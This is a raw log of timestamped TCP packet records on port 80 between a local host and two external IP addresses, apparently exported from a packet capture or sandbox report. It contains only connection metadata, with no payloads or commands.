Dec 20, 2024 17:43:48.119591951 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.120538950 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.120593071 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.120649099 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.120692015 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.121552944 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.121628046 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.121649027 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.121687889 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.122512102 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.122550964 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.122632027 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.122692108 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.123557091 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.123600960 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.123730898 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.123774052 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.124557018 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.124692917 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.124782085 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.125654936 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.125705957 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.125875950 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.125921011 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.127221107 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.127295971 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.127335072 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.127374887 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.127656937 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.127697945 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.127727985 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.127774000 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.128880024 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.128926039 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.129148006 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.129185915 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.129722118 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.129765034 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.129801035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.129846096 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.130655050 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.130697966 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.130748034 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.130786896 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.131694078 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.131736994 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.131848097 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.131889105 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.132684946 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.132730007 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.132863998 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.132936001 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.133769989 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.133836985 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.133879900 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.133928061 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.134742975 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.134839058 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.135061026 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.135116100 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.135714054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.135776043 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.135822058 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.135862112 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.136754990 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.136857986 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.136878014 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.136909008 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.137840986 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.137908936 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.137943029 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.138047934 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.138766050 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.138833046 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.138889074 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.139028072 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.139784098 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.139839888 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.139885902 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.139923096 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.140815973 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.140866041 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.140961885 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.141004086 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.142167091 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.142236948 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.142308950 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.142353058 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.142833948 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.142889977 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.142932892 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.142968893 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.143858910 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.143908024 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.143984079 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.144038916 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.144835949 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.144881010 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.145014048 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.145056963 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.145935059 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.145976067 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.146105051 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.146224022 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.146898031 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.146940947 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.147016048 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.147160053 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.147919893 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.147964001 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.148041010 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.148133039 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.224649906 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.224689960 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.224881887 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.224881887 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.225034952 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.225074053 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.225102901 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.225145102 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.225759983 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.225802898 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.225850105 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.225897074 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.226703882 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.226725101 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.226773977 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.251249075 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.251334906 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.251385927 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.251722097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.251760006 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.251838923 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.251914024 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.252762079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.252824068 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.252871037 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.253791094 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.253849030 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.253909111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.254854918 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.254904985 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.254926920 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.255897999 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.255949020 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.255960941 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.255989075 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.257276058 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.257384062 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.257442951 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.257972956 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.258163929 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.258213043 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.259040117 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.259146929 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.259197950 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.260071039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.260164976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.260215044 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.261106968 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.261218071 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.261261940 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.262135983 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.262247086 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.262293100 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.263155937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.263271093 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.263315916 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.264250040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.264352083 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.264391899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.265295982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.265347004 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.265388966 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.266287088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.266343117 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.266366005 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.267332077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.267390013 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.267443895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.267983913 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.268389940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.268465996 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.268498898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.268538952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.269428968 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.269535065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.269587994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.270456076 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.270519018 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.270559072 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.270620108 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.271384001 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.271444082 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.271472931 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.271512032 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.272434950 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.272501945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.272598982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.272644043 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.273453951 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.273510933 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.273519993 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.274511099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.274564028 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.274615049 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.275568962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.275619030 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.275698900 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.276586056 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.276659966 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.276705980 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.276783943 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.277633905 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.277777910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.277818918 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.278666973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.278742075 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.278785944 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.279813051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.279937029 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.279983044 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.280812979 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.280994892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.281038046 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.281821012 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.281868935 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.281904936 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.282846928 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.282895088 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.282931089 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.283883095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.283927917 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.284008026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.284046888 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.284923077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.285010099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.285052061 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.285948992 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.286019087 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.286062956 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.287003040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.287061930 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.287117958 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.288054943 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.288105965 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.288152933 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.288258076 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.289088964 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.289129019 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.289285898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.289326906 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.290118933 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.290163994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.290173054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.290266037 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.290345907 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.290435076 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.290483952 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.290525913 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.290827036 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.290971994 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.291073084 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.291182041 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.291224957 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.291254044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.291769981 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.291788101 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.291827917 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.291872978 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.291872978 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.292265892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.292311907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.292372942 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.292649031 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.292752981 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.292793036 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.292831898 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.293265104 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.293368101 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.293425083 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.293564081 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.293658018 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.293703079 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.294301033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.294348001 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.294356108 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.294394970 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.294502020 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.294544935 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.294965029 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.295011997 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.295322895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.295368910 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.295392036 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.295404911 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.295449018 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.295591116 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.295618057 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.295635939 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.296318054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.296370983 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.296377897 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.296391010 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.296420097 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.296444893 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.296613932 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.296786070 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.297307014 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.297360897 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.297447920 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.297487020 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.297620058 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.297637939 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.297661066 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.297684908 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.298126936 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.298167944 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.298213005 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.298441887 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.298485994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.298532963 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.299046040 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.299093008 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.299101114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.299118042 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.299144030 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.299499035 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.299602985 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.299647093 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.300012112 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.300082922 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.300122976 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.300506115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.300546885 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.300631046 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.300790071 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.300868034 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.300909996 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.301007032 CET	80	49776	194.126.174.112	192.168.2.6
